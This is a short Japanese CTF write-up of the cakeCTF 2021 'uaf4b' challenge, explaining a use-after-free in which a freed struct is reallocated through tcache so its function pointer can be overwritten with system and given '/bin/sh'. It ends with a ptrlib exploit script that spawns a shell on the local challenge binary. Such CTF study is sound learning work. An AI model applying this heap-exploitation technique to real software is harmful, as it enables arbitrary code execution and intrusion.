cakeCTF 2021 uaf4b upsolve

  • 1262 Words
  1. 1. uaf4b
    1. 1.1. sol

uaf4b

sol

use after freeの簡易な勉強

mainのループ前にcowsaymallocで確保されている。また、cowsayの構造体は以下の通りです。

1
2
3
cowsay = (COWSAY*)malloc(sizeof(COWSAY));
cowsay->fn_dialogue = dialogue_cowsay;
cowsay->message = NULL;
1
2
3
4
typedef struct {
void (*fn_dialogue)(char*);
char *message;
} COWSAY;

このmallocで確保される領域は、4*8bytesになるらしい。←(なぜ?? void (*fn_dialogue)(char*), charそれぞれのアドレスの値で8*2bytesなのは納得)

img

この問題の挙動は、

  1. systemのアドレスが与えられる
  2. 以下のことが実行可能
    1. fn_dialogueにあるアドレスに対してmessageを引数にして関数を呼び出し
    2. messageの変更(message自体はmallocで確保しているためアドレスが入っている)
    3. cowsayfreeを行う
    4. heap領域の閲覧(debug目的)

なので、やることとしてはsystemのアドレスをfn_dialogue、messageに/bin/shを入れて適当にshellを呼び出せばいいです。

img

では、fn_dialogueを書き換えるのかが問題になってきます…

答えとしては、freeでどうこうします。free関数の挙動はあんこさんが書いてくれているので、ここでは必要かつ基本的な挙動だけ…

free関数が呼ばれるとそのメモリは解放され、tcache(再度heapで使えるような領域?)となります。

注意が必要なのはそのメモリが解放されるだけで、変数に入っているそのアドレスには何も変化が起きない解放した領域を再度確保し値を書き込むと、もともと変数に入っていたアドレスを自由に操作できる可能性がある

なるほど、、、

今回は、cowsayをfreeしてmessageのmallocで確保するとtcacheにある領域がしてが使われ、fn_dialogueの値を書き換えることができる。test

1
2
3
4
5
6
7
8
9
10
11
12
13
from ptrlib import *

io = process(["./chall"])
SYSTEM = eval(io.recvlineafter(b"> = ").decode())
io.sendline(3)
io.sendline(4)
io.sendline(2)
io.sendline(p64(SYSTEM))
io.sendline(4)
io.sendline(2)
io.sendline(b"/bin/sh\x00")
io.sendline(4)
io.sh()